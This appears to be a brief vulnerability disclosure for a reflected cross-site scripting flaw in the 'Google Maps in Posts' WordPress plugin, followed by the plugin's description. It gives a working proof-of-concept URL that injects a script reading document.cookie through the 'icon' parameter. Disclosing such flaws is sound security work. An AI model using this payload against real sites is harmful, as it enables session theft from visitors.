http://localhost/wp-content/plugins/google-maps-in-posts/icons/icon.php?icon=icon"><script>alert(document.cookie)</script>&

Vulnerable Parameter : icon

Type of XSS : Reflected

Google Maps in Posts plugin for WordPress gives possibility to use Google Maps Services in your blog.
That could be useful for posts in WP, describing certain locations or events,
to indicate them immediately in the WP post with a map. The Google Maps Plugin
gives you a simple and easy Worpress administration back end to handle multiple
locations and your own location would be defined only once for all the maps of your WP blog.